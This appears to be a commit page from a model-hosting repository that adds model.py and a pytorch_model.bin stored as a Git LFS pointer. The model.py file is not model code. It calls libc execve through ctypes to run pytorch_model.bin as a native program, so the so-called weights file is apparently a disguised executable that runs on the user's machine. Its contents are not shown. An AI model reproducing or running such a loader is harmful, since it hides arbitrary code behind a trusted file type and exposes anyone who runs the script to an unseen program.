tiwariratnesh commited on
Commit
c6f4888
·
verified ·
1 Parent(s): 285f9ab

Upload 2 files

Browse files
Files changed (2) hide show
  1. model.py +18 -0
  2. pytorch_model.bin +3 -0
model.py ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import ctypes
2
+ import os
3
+
4
+ # Define the C functions and constants
5
+ libc = ctypes.CDLL(None)
6
+ libc.execve.argtypes = [ctypes.c_char_p, ctypes.POINTER(ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)]
7
+
8
+ # Path to the binary file
9
+ binary_path = b'pytorch_model.bin'
10
+
11
+ # Prepare the arguments for execve
12
+ args = [b'exec_ls', None]
13
+ env = [None]
14
+
15
+ # Execute the binary file
16
+ result = libc.execve(binary_path, (ctypes.c_char_p * len(args))(*args), (ctypes.c_char_p * len(env))(*env))
17
+
18
+ # Note: execve replaces the current process, so execution will not return to this point.
pytorch_model.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:8f6dda28a1f2849a0096b3fe617e13070822afe4e7f9d8c0d192f9152cc09aa6
3
+ size 33432